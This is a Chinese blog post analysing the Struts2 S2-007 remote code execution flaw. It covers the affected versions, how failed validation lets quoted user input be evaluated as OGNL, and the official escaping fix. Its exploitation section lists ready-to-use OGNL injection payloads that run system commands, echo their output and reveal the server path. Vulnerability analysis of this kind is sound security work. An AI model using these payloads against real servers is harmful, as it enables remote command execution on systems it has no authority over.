[JavaWeb]Struct2-007漏洞分析

Strut2-007

漏洞描述

Struts2-007是一个远程代码执行漏洞。

影响版本

Struts 2.0.0 - Struts 2.2.3

漏洞分析

  • 当碰到validator校验失败的会将数据重写后放到OverrideStack

image

image

  • 在处理时将字符串两边同时添加了一个单引号

  • Struts2 结束标签时,会将用户输入值经过 OGNL 执行并返回。如果先前 OgnlValueStack.overrides 存储过相关字段,则会先从 OgnlValueStack.overrides 中取出相关值,然后再通过 OGNL 执行

    image

  • 从ognl.overrides中找加了单引号的age,再经过ognl解析。

    漏洞点,如果传入的是'+{code}+',经过处理后就变为了''+{code}+'',再进行ognl解析,便可以被解析为代码,从而导致了任意代码执行

漏洞利用

# 弹计算器
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"]=false@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'

# 获取绝对路径
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false#req=@org.apache.struts2.ServletActionContext@getRequest()#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"]=false#req=@org.apache.struts2.ServletActionContext@getRequest()#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

# 执行系统命令并回显
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"]=false#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

漏洞修复

image

官方先将传入的字符串进行了转义,再在外边加一个双引号,从而确保只能是一个普通的字符串。

posted @ 2022-01-17 16:43  Aur0ra*  阅读(73)  评论(0编辑  收藏  举报